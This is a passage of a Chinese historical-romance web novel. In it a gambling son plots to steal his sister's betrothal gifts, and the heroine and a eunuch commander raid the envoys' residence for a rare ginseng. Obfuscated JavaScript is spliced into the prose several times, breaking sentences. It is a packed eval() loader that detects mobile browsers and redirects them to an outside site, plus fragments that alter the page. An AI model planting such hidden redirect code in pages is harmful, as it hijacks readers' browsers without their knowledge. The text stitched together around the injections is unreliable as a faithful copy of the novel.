说着，凝香就吩咐丫鬟拎水进来。 热水氤氲的蒸汽弥漫在厢房内，稍稍驱散了傅湛骨子里的寒意和心头的惊惧。 他疲惫地浸泡在浴桶中，闭上眼，脑海中却不断回响着欠下的十万两。 温热的水流似乎也无法温暖他冰凉的手脚。 就在此时，一双柔弱无骨的手轻轻搭上他的肩膀，力道适中地揉捏起来，指尖带着某种令人放松的香膏，舒缓着他紧绷的肌肉。 “公子，放松些……”凝香的声音温柔似水，带着令人安心的魔力，“天无绝人之路，总会有办法的。您这般愁苦，奴家看着心都要碎了。” 傅湛舒服地喟叹一声，身体稍稍放松，向后靠去，后脑抵在桶沿，仰头看着凝香低垂的，写满担忧的娇媚脸庞。 “凝香，幸好还有你……”他喃喃道，伸手抓住她的一只手腕，“若没有你，我真不知该如何是好。” “能陪着公子，是奴家的福分。”凝香顺势俯身，脸颊轻轻蹭了蹭他的鬓角，气息温热，“公子是顶天立地的男子汉，一时挫折算不得什么。等度过了难关，以公子的能耐，何愁不能东山再起？届时，看谁还敢小觑了公子去。” “对……东山再起……我一定要把输掉的，连本带利赢回来！”傅湛眼中重新燃起扭曲的火焰，但旋即又被现实浇灭，“可是那十万两……” “公子，”凝香的指尖轻轻按着他的太阳穴，声音愈发低柔，“大小姐去护国寺祈福，听闻要住上两日，芳华苑留守的人不多，公子一定能够如愿以偿，到时候寻一两件不易察觉的价值连城的物件暂时应急，待公子周转过来，悄悄补回，谁又能知道呢？” 动萧玹送来的聘礼，无疑是虎口拔牙。 但凝香说的对，只需一两件，迅速变现，投入赌坊，只要运气好，一夜之间就能翻本，甚至大赚特赚，届时神不知鬼不觉地还回去…… 贪婪最终吞噬了恐惧。 他猛地抓住凝香的手，眼神灼灼，“你说得对！就这么办！等傅流萤离府，我们就……” 话未说完，极度的疲惫和紧张后的放松，加上凝香恰到好处的按摩和那若有似无的安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225549|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神香气，让他沉重的眼皮渐渐合拢，竟就这般在浴桶中昏昏沉沉地睡了过去，发出轻微的鼾声。 凝香手上的动作渐渐慢了下来，最终停止。 她脸上的柔情蜜意瞬间褪得干干净净，只剩下冰冷的算计和一丝鄙夷。 她轻轻抽出手，试探性地低声唤道，“公子？公子？” 回应她的只有傅湛均匀而沉重的呼吸声。 凝香嘴角勾起一抹冷笑，小心翼翼地站起身，蹑手蹑脚地走到门边，侧耳倾听片刻，确认院外无人后，如同暗夜里的狸猫，悄无声息地溜出了厢房，融入了沉沉的夜色之中。 她没有回自己的房间，而是借着夜色的掩护，避开巡夜的家丁，熟门熟路地朝着芳华苑的方向潜行而去。 芳华苑内，虽主子不在，但依旧留有灯火，只是比往日更为寂静。 春芽正指挥着小丫鬟仔细检查门窗，忽见一道黑影悄无声息地出现在廊下阴影处，她心中一惊，待看清来人面容时，更是诧异。 “凝香姑娘？”春芽快步上前，压低声音，“你怎么来了？若是被人看见……” “我有要事需立刻禀报大小姐。”凝香神色凝重，全无在傅湛面前的娇柔之态，眼神锐利。 春芽打量了她片刻，终是点头，“随我来。” 内室，傅流萤并未安寝，她正对灯查看着一本泛黄的医书，手边还放着那紫檀木盒。听到细微的脚步声，她头也未抬。 “小姐，凝香姑娘求见。”春芽低声道。 傅流萤翻书的手微微一顿，抬眸，清冷的目光落在躬身进来的凝香身上，“这个时辰过来，是他忍不住了？” “回大小姐，”凝香恭敬行礼，语速快而清晰，“傅湛已再次欠下十万两巨债，走投无路。奴婢依计行事，已成功诱使他将主意打到了您的聘礼上，奴婢称过两日您会去往护国寺祈福，傅湛打算在那个时候动手。” 傅流萤闻言，眼中没有丝毫意外，只有一丝冰冷的了然和嘲讽。 第一百二十章 贪得无厌 “十万两……还真是贪得无厌。”她合上医书，指尖轻轻敲着书面。 “做得很好。”傅流萤颔首，“继续盯着他，摸清他具体的目标和计划。届时，我会让你知道该如何配合。” “是。”凝香应下，稍作迟疑，又道，“大小姐，二公子此次输急了眼，恐狗急跳墙，行事会更为莽撞狠戾，您库房的守卫……” “放心。”傅流萤打断她，唇角噙着一丝莫测的笑意，“我的东西，岂是那么好拿的？你只需办好你的事即可。” “奴婢明白。”凝香心下稍安，再次行礼，“那奴婢先行告退，以免二公子起疑。” 傅流萤挥挥手，凝香便如来时一般，悄无声息地退了出去，消失在夜色中。 春芽上前一步，面带忧色，“小姐，二少爷竟真的胆大包天至此！我们是否要加强库房看守？” “不必。”傅流萤重新拿起医书，语气淡然，“看守得太严实，他怎么下手？传话给看守库房的人，那两日，松懈些，尤其是那几件东西所在的区域，给他们行个方便。” 春芽瞬间明白了傅流萤的意图，“小姐是想……请君入瓮？” “他既自寻死路，我岂能不送他一程？”傅流萤眼中寒光一闪，“正好，也让父亲和那位好母亲看看，他们精心娇惯出来的儿子，究竟是个什么货色。” 北疆使团快要进京，皇上正是重视的时候。 若是在这个时候，傅家出了这种腌臜之事，只怕会龙颜大怒。 傅流萤的嘴角微勾。 “是！”春芽眼中闪过兴奋之色，领命而去。 傅流萤的目光重新落回医书上，却久久未再翻动一页。 窗外月色清冷，将军府的夜色，愈发深沉诡谲。 另一边，傅明雪的院落里，却是另一番鸡飞狗跳的景象。 自从得知自己要被送入二皇子府为妾是板上钉钉，无可更改，傅明雪就觉得天都塌了。 连日来，她哭过、闹过、绝食过，但最终还是认了命。 认命不代表甘心。 傅明雪自知身份上已然低了一头，那在吃穿用度上，就绝不能让人看轻了去！ 她要把所有最好的东西都带进二皇子府，让那些势利眼看看，她傅明雪即便为妾，也是将军府出来的贵妾，比寻常官家小姐尊贵得多！ 她不敢再去招惹如今气势正盛、又有萧玹做靠山的傅流萤，便将所有的矛头都对准了柳飞燕和偶尔来看她的傅湛。 “母亲！你看这件浮光锦的料子，才做了两身衣裳就没有了！这可是今年最新的花色，二皇子府的其她女人肯定都有，我若没有，岂不是一去就被人比了下去？”傅明雪扯着一条华美的缎子，对着柳飞燕哭诉。 柳飞燕看着那价值不菲的料子，只觉得心头滴血。 她的嫁妆刚被儿子掏空了一大块，如今看着女儿这般挥霍，更是焦虑万分。 “明雪，这……这浮光锦太过扎眼，你初入府为……为妾室，还是低调些好，母亲那里还有几匹上好的云锦，颜色也鲜亮……” “云锦？那种寻常货色怎么配得上我的身份！”傅明雪尖声打断，将料子扔在地上，“母亲！你是不是根本就不疼我了？我就要沦为众人的笑柄了，你连几匹好料子都舍不得给我吗？难道要让我穿着粗布麻衣进二皇子府吗？” 柳飞燕被她哭得头疼心也疼，连忙安抚，“好好好，做！母亲给你做！再给你添一套红宝石头面，可好？” “还要东珠！要最大的那种！镶嵌在簪子上！”傅明雪得寸进尺地要求。 柳飞燕只觉得眼前发黑，东珠？ 那又是一大笔开销！ 公中的账目近来也有些吃紧，她自己的体己……想到那八万两的窟窿，她就心口绞痛。 自从府中的掌家大权被傅流萤要去以后，她的日子本来就过得艰难，当初的陪嫁已经所剩无几。 但看着哭哭啼啼的傅明雪，柳飞燕还是答应了下来。 傅明雪这才心满意足，“母亲，明雪就知道母亲对我是最好了，待明雪入了二皇子府，一定会把二皇子伺候的妥妥当当再给二皇子生下一个大胖小子，到时候我在二皇子府站稳脚跟，成为二皇子妃也未可知，到时候母亲您就是二皇子的岳母，一定会面上增光。” 柳飞燕强扯出一抹笑容，拍了拍傅明雪的手背，心痛的都在滴血，“明雪，母亲不求别的，只希望你在二皇子府能过得开心。” 傅明雪垂下了眼眸眼底闪过了一抹冷意。 但面上却装作无比乖顺的嗯了一声，面露感动。 打发走傅明雪，柳飞燕瘫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225550|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在椅子上，揉着发痛的额角。 容佩在一旁低声劝道，“夫人，小姐也是心里苦，这才……您多担待些。毕竟是要入皇子府，场面上的东西，确实不能太寒酸，否则丢的也是傅家和您的脸面。” “我知道、我知道……”柳飞燕有气无力地道，“可这银子如同流水般花出去，我心里慌啊。湛儿那边……他那几处产业的出息，这个月怎么还没送进来？好些开销都指望着呢。” 说曹操曹操到。 傅湛一夜惊魂，又泡了热水澡，虽睡了片刻，但终究心事重重，一早便强打精神过来给柳飞燕请安，实则也想探探柳飞燕的口风，看看能否再抠出点银钱来。 他一进门，就看到柳飞燕愁眉苦脸的模样，以及桌上摆放的尚未收起的珠宝册子和布料样本。 “母亲这是怎么了？”傅湛勉强挤出笑容问道。 柳飞燕看到他，像是抓住了主心骨，立刻诉苦，“湛儿，你来得正好。你妹妹这又要添置首饰头面，又要新裁衣裳，样样都要顶好的，这开销……母亲实在是有些吃不消了。你名下那几处铺子田庄，这个月的收益何时能上来？公中还等着用呢。” 傅湛一听这话，心里顿时咯噔一下，如同雪上加霜。 他那几处产业？早就被他挪用亏空得差不多了，这个月的收益早就填了上次赌债的零头和新欠印子钱的利息了，哪里还有余钱上交公中？ 他脸上肌肉僵硬，支吾道，“母亲，近日、近日生意不太好做，收益、收益可能晚些时候才能送来。” 柳飞燕蹙眉，“晚些时候？可是府里等不及啊，你妹妹这边的开销，还有各院的月例，都要银钱打点。湛儿，你可要上心些，如今府里就指望你了。我那些体己可是都……”她说到此处，压低了声音，眼圈又红了，“你可要尽快周转过来，早日、早日补上才好。” 柳飞燕的话像鞭子一样抽在傅湛心上，催促着他，也让他更加恐慌。 指望他？他如今自身难保，还欠着十万两的阎王债，去哪里弄钱来填补公中和母亲的亏空？ 看来傅流萤的聘礼必须尽快动手了。 他心中那个疯狂的念头越发坚定，脸上却不敢显露分毫，只能硬着头皮保证，“母亲放心，儿子、儿子一定尽快想办法！绝不会让母亲为难！” 第一百二十一章 北疆使团 说完，他几乎是落荒而逃，背后仿佛有厉鬼追赶。 柳飞燕看着他匆忙离去的背影，心中那股不安却越来越浓。 湛儿的样子，似乎有些不对劲。 可具体哪里不对，她又说不上来，只能归咎于最近事情太多，压力太大。 她叹了口气，疲惫地合上珠宝册子。 “容佩，先从我的私账上支取一些，给明雪把东西置办了吧，总不能真让她失了体面。” “是，夫人。”容佩应下，心中却也暗暗叹息。 这将军府，表面光鲜，内里却是…… 这明雪小姐也是一个不知满足的，哪像大小姐虽然冷漠了一些，可从来都没有让夫人操过心。 这天底下哪有不爱亲生女儿反而偏爱一个养女的。 夫人真是糊涂呐，可她想劝又劝不了，也是无能为力。 而傅湛，逃离柳飞燕的院落后，靠在冰冷的墙壁上，大口喘着气。 十万两的债务，柳飞燕的催促还有傅明雪的索取，像三座大山，压得他喘不过气。 他眼中血丝弥漫，只剩下最后一个疯狂的念头。 “傅流萤，护国寺，聘礼……”他喃喃自语，眼神变得凶狠而决绝，“这是你们逼我的！是你们逼我的！” 他攥紧了拳头，指甲深深掐入掌心。 —— 就在傅湛于罪恶的深渊里越陷越深之时，京城迎来了一件举国瞩目的大事——北疆使团抵达。 此次使团规模宏大，由北疆王庭一位位高权重的亲王亲自率领，打着续两国邦交之谊的旗号，浩浩荡荡进入京城，下榻于鸿胪寺。 使团进贡了无数奇珍异宝，宝马貂裘，但其中最引人瞩目的，却是一株据说能肉白骨，活**的旷世奇珍——千年血参。 消息如同长了翅膀，瞬间传遍了京城的每一个角落，引起了巨大的轰动。这等传说中的圣药，对于权贵阶层而言，无疑是致命的诱惑，意味着多一条命，多一线生机。 芳华苑内，药香弥漫。 傅流萤正全神贯注地控制着紫铜丹炉的火候，冰魄护心丹的炼制已到了最关键的时刻，容不得半分差池。 春芽悄步进来，低声将北疆使团抵达以及千年血参的消息禀报给她。 傅流萤执着蒲扇的手几不可察地微微一顿，眸中掠过一抹极亮的光芒，但很快又恢复平静，继续稳稳地控制着火候。 居然会是千年血参。 之前萧玹给她的消息是千年人参。 这千年血参，可比千年人参要珍贵百倍不止。 北疆这次可谓是下了血本。 千年血参……性至阳，蕴含磅礴生机，正是化解天下至寒奇毒阎罗王的绝佳主药之一！ 萧玹身中此毒多年，深入肺腑，虽凭深厚内力压制，但终非长久之计，且发作起来痛苦万分。 雪岭冰魄莲能助太子固本培元，缓解症状，但对萧玹的沉疴，效用有限。 若能得此血参…… 这个念头一旦生出，便如同野草般疯长。 她与萧玹之间，关系复杂难言。 可无论从哪一方面看，萧玹活着，对她利大于弊。 更何况……想到萧玹毒发时苍白的脸色和隐忍的痛苦，傅流萤发现，她竟无法坐视不理。 “鸿胪寺守备森严，尤其是使团下榻之处，必有北疆高手和朝廷重兵层层把守。”傅流萤声音平静无波，仿佛在陈述一件与己无关的事，“此事需从长计议，周密计划。” 然而，她的话音刚落，一个冰冷而熟悉的声音便如同鬼魅般在窗外响起，“不必计划了。今夜子时，随本督走一趟鸿胪寺。” 下一瞬，萧玹的身影已然出现在室内。他依旧是一身玄色暗纹锦袍，墨发以玉冠束起，面容俊美却透着几分苍白，眉眼间带着一丝不易察觉的疲惫与戾气，周身的气息比往日更加冷冽逼人。 他的目光先是扫过那尊氤氲着寒气和药香的丹炉，最终落在傅流萤沉静如水的侧脸上，眸光深邃，看不出情绪。 傅流萤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225551|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于他的神出鬼早已习惯，并未停下手中的动作，只淡淡问道，“督主伤势未愈，便要亲自出手？”她敏锐地察觉到他气息较往日略显虚浮。 萧玹冷哼一声，并未回答她的问题，反而走到窗边，望向鸿胪寺的方向。 “北疆进贡的千年血参，你已知晓。”他的语气是肯定的，“此物，本督志在必得。” “所以督主便要硬闯鸿胪寺？”傅流萤挑眉，“即便那是龙潭虎穴？” “龙潭虎穴？”萧玹转过身，唇角勾起一抹讥诮而危险的弧度，“这京城，乃至这天下，还没有本督去不得的地方。皇上虽允了北疆使团入住鸿胪寺，却未曾说过，那千年血参，旁人动不得。” 他目光锐利地看向傅流萤，“你身手诡谲，善于隐匿，更精通机关药理，正是潜入窃取的最佳人选。本督会在外接应，引开大部分守卫。” 傅流萤放下蒲扇，抬眸与他对视，“督主应当知道，窃取贡品，乃是株连九族的大罪。我傅家满门，可经不起这样的折腾。” 这狗男人，还真不把她的命当命。 若是能够顺利盗得血参还好，若是不顺利…… 这狗男人倒是能独善其身。 萧玹走近她，居高临下，强大的压迫感瞬间笼罩下来。 他指尖抬起，几乎要触碰到傅流萤光滑的下颌，声音低沉而充满蛊惑，“所以，你更不能失手。况且……本督若得血参解毒，你这未婚妻的地位，岂不更加稳固？本督好了，你功不可没。” 他的指尖最终未能落下，而是缓缓移至她耳边，将她一缕散落的青丝轻轻掠回耳后。 冰凉的指尖不经意擦过她温热的耳垂，带来一阵细微的战栗。 傅流萤身体微微一僵，下意识地偏头避开这过于亲昵又危险的触碰，心跳却不由自主地漏跳了一拍。 “督主的人情，果然不好欠。”她稳住心神，声音依旧清冷，却带上了一丝自己都未察觉的微颤，“既然如此，流萤便为督主走这一趟。只是，若事败……” 第一百二十二章 夜探鸿胪寺 “若事败，”萧玹打断她，眼神骤然变得幽深冰冷，“自有本督一力承担，但本督相信，你不会让这种事发生。” 他顿了顿，忽然俯身，凑近傅流萤的耳畔，温热的呼吸混合着冷冽的沉香，喷洒在她敏感的颈侧，声音压得极低，说出来的话，却令人毛骨悚然。 “毕竟，你若落入北疆人或朝廷手里，本督有的是办法让你……悄无声息地消失。所以，为了你自己，也为了……我们的夫妻情分，还请傅大小姐一定要尽力而为，不容有失。” 这赤裸裸的威胁，与他此刻近乎暧昧的姿态形成了强烈的反差。 傅流萤的心猛地一缩，脸上却强自镇定，甚至勾起一抹浅淡得近乎虚无的弧度，“督主真是……恩威并施。流萤记下了。” “记下便好。”萧玹直起身，仿佛方才的贴近与威胁从未发生，“子时三刻，府外后巷马车等候。” 说完，他身影一闪，便如鬼魅般消失在窗外浓重的夜色里，来去无声。 傅流萤站在原地，耳垂那被触碰过的地方仿佛还残留着冰凉的触感，颈侧那被气息拂过的地方更是泛起一阵细微的痒意。 她下意识地抬手摸了摸耳垂，眸光复杂地望向窗外。 这个男人，还真是不留情面。 皇帝赐婚，或许于他而言，也并非全然是一步冷棋。 傅流萤垂了垂眼眸，敛去了眼底一闪而过的冷意。 子时三刻，月黑风高。 傅流萤一袭夜行衣，身姿轻盈如燕，悄无声息地融入夜色，准时出现在傅府后巷。 一辆毫不起眼的青布马车静静停在那里，车夫如同泥塑木雕。 她掀帘上车，车内，萧玹已然在座。 他换了一身更利于夜行的窄袖劲装，玄色衣料几乎与黑暗融为一体，衬得他面容越发苍白俊美，却也添了几分肃杀之气。 两人对视一眼，并无多言。 马车迅速驶离，朝着鸿胪寺方向而去。 车内一片沉寂，只有车轮碾过路面的轱辘声。 气氛压抑而紧绷，弥漫着行动前的紧张和一种难以言喻的暧昧。 萧玹闭目养神，傅流萤则仔细检查着随身携带的各类药粉，暗器以及破解机关的小工具。 快到鸿胪寺时，萧玹忽然睁开眼，从怀中取出一个小巧的鼻烟壶似的玉瓶，递给傅流萤。 “这是什么？”傅流萤接过，触手微凉。 “北疆一种秘药，名春风倒。”萧玹的声音低沉，“并非市面那种下三滥的东西，此药无色，吸入少许便可令人内力暂滞，肢体绵软，对付北疆那些嗅觉灵敏的獒犬和内力深厚的护卫，有奇效。” 傅流萤眸光一闪，心中了然。 这怕是东厂不知从何处弄来的宝贝。 她拔开瓶塞，极小心地嗅了一下，立刻判断出其中几味主药和大致功效，确实非凡品。 “多谢督主。”她将玉瓶小心收好。 “傅大小姐现在言谢为之过早，等拿到千年血参，再说这句话也不迟。” 听着萧玹冰冷的话，傅流萤没说话。 这狗男人有时候虽然是毒舌了一些，但也并非那么不近人情。 马车在离鸿胪寺一街之远的一条暗巷停下。 “地图已给你，血参最可能存放在鸿胪寺的珍宝阁，但守卫也最严。一切见机行事，以自身安全为要。” 萧玹看着她，夜色中他的眸光深沉如渊，“若遇险，发信号，本督的人会不惜代价接应你。” “督主放心，流萤惜命得很。”傅流萤说完，身形一闪，便如轻烟般掠出马车，几个起落，便消失在鸿胪寺高大的院墙之外。 萧玹坐在车内，指尖无意识地摩挲着扳指，目光紧紧追随着那道融入夜色的纤细背影，眸底翻涌着复杂难明的情绪。 傅流萤依仗着绝顶的轻功和敏锐的感知，巧妙地避开了明处的巡逻卫队，如同暗夜中的幽灵，悄无声息地潜入鸿胪寺院内。 寺内果然守备森严，五步一岗，十步一哨，火把将许多地方照得亮如白昼，更有暗哨的气息隐藏在角落。 她按照地图指示，朝着珍宝阁摸去。 越靠近，守卫越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225552|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发严密，甚至能感觉到几股极其强大的气息隐匿在暗处，令人心悸。 就在她即将接近珍宝阁，寻找潜入死角时，异变陡生！ 一队原本背对着她巡逻的北疆卫士突然毫无预兆地转身，手中强弓硬**瞬间对准了她藏身的阴影！ “有刺客！放箭！” 一声粗犷的声音划破夜空！ 话音刚落，无数箭矢如同疾风骤雨般向她藏身之处覆盖而来。 傅流萤心中大惊，身形瞬间暴退，同时拉了**，丢了出去。 “噗——” 烟雾瞬间弥漫开来，暂时阻碍了追兵的视线和脚步。 “拿下她！”更多的北疆卫士和隐藏的高手朝着烟雾区域扑来。 傅流萤不敢恋战，将轻功施展到极致，朝着预定的撤退路线疾掠。 然而，身后的追兵紧咬不放，更麻烦的是，那暗处的几股强大气息也动了，如同鬼魅般锁定了她，速度极快。 一道凌厉的掌风从侧面袭来，带着阴寒的内力。 傅流萤险之又险地侧身避开，掌风擦着她的腰际掠过，带起的劲风刮得皮肤生疼。 是北疆的高手。 她反手弹出几枚淬了麻药的银针，却被对方轻易挥袖挡开。 差距太大。 傅流萤眸光一凛，眼看就要被合围，突然，鸿胪寺的另一侧陡然爆发出巨大的喧哗和打斗声。 “走水了！粮草库走水了！” 紧接着，数个方向都传来了激烈的打斗声和呼喝声，似乎同时有多处遇袭。 追击傅流萤的高手身形一顿，其中两人立刻朝着骚乱的方向扑去。 是萧玹！ 他在外面制造混乱接应她了。 他倒是没有食言。 傅流萤抓住这稍纵即逝的机会，体内内力疯狂运转，速度再提，朝着西侧角门的方向拼命掠去。 箭矢破空之声再次从身后传来，一支**箭擦着她的手臂掠过，瞬间划破了夜行衣，带起一道血痕。 她闷哼一声，却不敢有丝毫停顿。 第一百二十三章 受伤上药 角门已然在望，门外似乎有马车轮廓。 就在她即将冲出角门的瞬间，一道黑影如同巨塔般挡在门前，手中弯刀带着凄冷的寒光，直劈而下。 正是留守的一名北疆高手！ 傅流萤瞳孔一缩，避无可避。 千钧一发之际，一道玄色身影如同撕裂夜色的闪电，骤然从侧边冲出。 “锵……” 刺耳的金铁交鸣之声爆响！ 萧玹手持一柄剑，精准挡住那把弯刀，瞬间火星四溅。 他的脸色似乎更白了一分，但眼神却冰冷锐利如鹰隼，手腕一震，一股阴寒霸道的内力透过刀身汹涌而出。 那北疆高手被震得踉跄后退一步，眼中闪过惊疑之色。 “走！”萧玹低喝一声，一把抓住傅流萤未受伤的手臂，力道之大，几乎捏碎她的骨头，猛地将她甩向门外等候的马车！ 傅流借力一跃，稳稳落在了马车上。 几乎同时，萧玹与那北疆高手再次交锋，借着反震之力，他的身形如流星般倒射而出，紧随其后掠入马车！ “驾！”车夫毫不犹豫，猛抽马鞭，马车如同离弦之箭，疾驰而去，瞬间将身后的喊杀声和怒吼声落在了后面。 车厢内，光线昏暗，急促的喘息声清晰可闻。 傅流萤靠在车壁上，捂着受伤的手臂，指缝间有鲜血渗出。 方才情势危急尚不觉得，此刻松懈下来，才感到火辣辣的疼痛。 萧玹的情况似乎更糟。 他方才强行与那北疆高手对拼，显然牵动了旧伤，此刻脸色苍白如纸，唇边甚至溢出了一丝暗红的血迹。 他靠在另一边车壁，闭着眼，眉头紧蹙，似乎在极力压制着什么。 马车颠簸着，两人相对无言，空气中弥漫着血腥味，冷冽的沉香以及一种劫后余生的紧张感。 许久，萧玹才缓缓睁开眼，目光落在傅流萤渗血的手臂上，眸色深沉。 “受伤了？”他的声音有些沙哑，带着一丝不易察觉的……紧张？ “小伤，无碍。”傅流萤淡淡道，试图将手臂往后藏了藏。 比起他毒发和内伤的风险，她这点皮肉伤确实不算什么。 萧玹却忽然伸出手，不由分说地抓住了她的手腕，将她的手臂拉了过来。 他的手指冰凉刺骨，力道却大得惊人，不容她挣脱。 “督主？”傅流萤蹙眉。 “别动。”萧玹的声音低沉强硬，另一只手不知从何处又拿出一个白瓷小瓶，这次里面是碧绿色的药膏。 “北疆的**箭恐有不净，不想废了胳膊就老实点。” 他语气很冲，动作却异常专注。 他小心翼翼地撕开她被划破的衣袖，露出那道寸许长的伤口。 **箭擦伤，伤口不深，但皮肉翻卷，看着有些狰狞。 “还好，没下毒。”萧玹冷冷的开口，声音带着一丝不易察觉的轻颤。 她挖出碧绿色的药膏，仔细地涂抹在伤处。 药膏清亮，带来一阵舒适的凉意，瞬间压下了火辣辣的疼痛。 傅流萤能清晰地看到他低垂的眼睫，挺直鼻梁上细微的汗珠，以及紧抿的毫无血色的薄唇。 他靠得很近，那冷冽的沉香气息混合着极淡的血腥味，几乎将她完全笼罩。 傅流萤的心跳，再次不争气地失去了平稳的节奏。 车厢空间狭小，颠簸之中，两人的膝盖不时碰到一起。每一次不经意的接触，都像是有微小的电流窜过，让空气变得更加粘稠而暧昧。 “只是让你去窃参，谁让你与北疆高手硬碰硬了？”萧玹忽然开口，语气带着一丝愠怒和冰冷，“若不是本督及时赶到……” “若非督主在外制造混乱，引开部分守卫，流萤恐怕难以脱身。”傅流萤打断他，眸色愈发深邃。 “只是没想到，珍宝阁竟是疑阵，血参并不在其中。北疆人，比想象中更狡猾。”她方才潜入时，已凭借过人嗅觉和观察，察觉那所谓的珍宝阁药气虽浓，却没有血参的味道，可见血参并不在珍宝阁。 萧玹手上动作一顿，抬眸看她，眼神锐利而复杂，“你竟还有心思想这个？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“凝碧丹。”傅流萤语气平静，“我闲暇时炼制的，虽不能解毒，但能暂时压制阴寒剧痛，固护心脉。督主若信得过，或可一试。” 萧玹目光幽深地看了她片刻，忽然唇角扯出一抹极淡的意味不明的弧度，“傅大小姐给的药，本督哪有不信之理？” 他接过玉瓶，毫不犹豫地倒出一粒碧莹莹的药丸，吞服下去。 第一百二十四章 当了诱饵 药效很快发作，他紧蹙的眉头稍稍舒展，脸色也似乎好转了一些。 “多谢。”他低声道，声音依旧沙哑。 “等价交换而已。”傅流萤移开目光，看向窗外不断后退的街景，“督主方才也救了我一命。” 萧玹低低地笑了一声，那笑声在狭窄的车厢内回荡，带着一丝疲惫，却也有几分难以言喻的磁性，“你倒是算得清楚。” 忽然，马车一个颠簸，傅流萤猝不及防，身体猛地向前倾去。 萧玹眼疾手快，长臂一伸，揽住了她的腰，将她稳稳地带回座位。 她的后背撞入他略显冰凉却坚实宽阔的胸膛，他的手臂还环在她的腰间，隔着薄薄的衣料，能感受到他手臂的力量和温度。 两人瞬间僵住。 空气仿佛凝固了。 傅流萤能清晰地听到她强有力的心跳，以及身后那人似乎也同样紊乱了的呼吸。 萧玹的下巴几乎抵在她的发顶，冷冽的沉香气息将她彻底包围。 时间仿佛过了很久，又仿佛只是一瞬。 萧玹的手臂微微收紧了一瞬，随即又像被烫到一般，猛地松开了她。 “坐稳。”他的声音恢复了以往的冰冷，甚至带上了一丝刻意的疏离。 傅流萤立刻坐直身体，向旁边挪开少许，指尖微微蜷缩，耳根不受控制地泛起一抹不易察觉的绯色。 车厢内再次陷入一种极其微妙的寂静之中，方才那短暂的贴近，如同投石入湖，在两人心间都漾开了层层涟漪。 许久，萧玹才再次开口，打破了这令人心慌的沉默，声音已然平静无波，“你近日安心炼制冰魄护心丹，无事不要外出。” 傅流萤垂了垂眼眸，下意识的问萧玹，“那千年血参……” “这件事就不用你管了，本督自有办法。” 傅流萤虽然心中疑惑，但也没有多问，“是。” 马车在傅府后巷悄然停下。 傅流萤起身，准备下车。 “傅流萤。”萧玹忽然叫住她。 她回头。 昏暗的光线下，他的眼眸深不见底，“今日之事，烂在肚子里。还有你的伤，自己注意。” “明白。”傅流萤看了他一眼，转身掀帘下车，身影很快消失在傅府的高墙之内。 萧玹独自坐在车内，指尖无意识地摩挲着，仿佛还在回味方才那纤细腰肢的触感和她发间淡淡的冷香。 他闭上眼，喉结微动，发出一声极轻的意味不明的叹息。 而回到芳华苑的傅流萤，抚摸着臂上包扎拙劣的绷带，望着窗外沉沉的夜色，眼底也闪过一抹复杂之色。 今天晚上发生的事情，似乎有些不对劲。 春芽伺候傅流萤梳洗，很快就发现了她手臂上的伤。 “大小姐，您受伤了？奴婢现在就去找药。” 傅流萤抬了抬手，“不必麻烦，这伤已经处理过了。” “那奴婢给大小姐您重新包扎吧。” 傅流萤低头看着包扎的形状，丑是丑了点，但胜在萧玹用了心。 但是萧玹包的太过于繁琐了不利于行动，傅流萤还是让春芽拆开重新包扎。 “也不知道萧督主怎么想的，为什么偏偏让小姐去鸿胪寺，就算小姐你武功高强，可是督主府有那么多的能人异士，武功高强者应该有不少，怎么单单让小姐你单枪匹马去，这不是把人往火坑里推吗？” 春芽一边解开绷带一边碎碎念着，看到傅流萤的伤口时，更是吓的大惊失色，脸色都白了，眼底布上了一层的心疼。 傅流萤没有说话，但是春芽的话还是听了一耳朵。 是啊，春芽说的有道理，督主府有那么多武功高强的人，为什么萧玹偏偏派她去了。 太巧了。 一切都太过巧合。 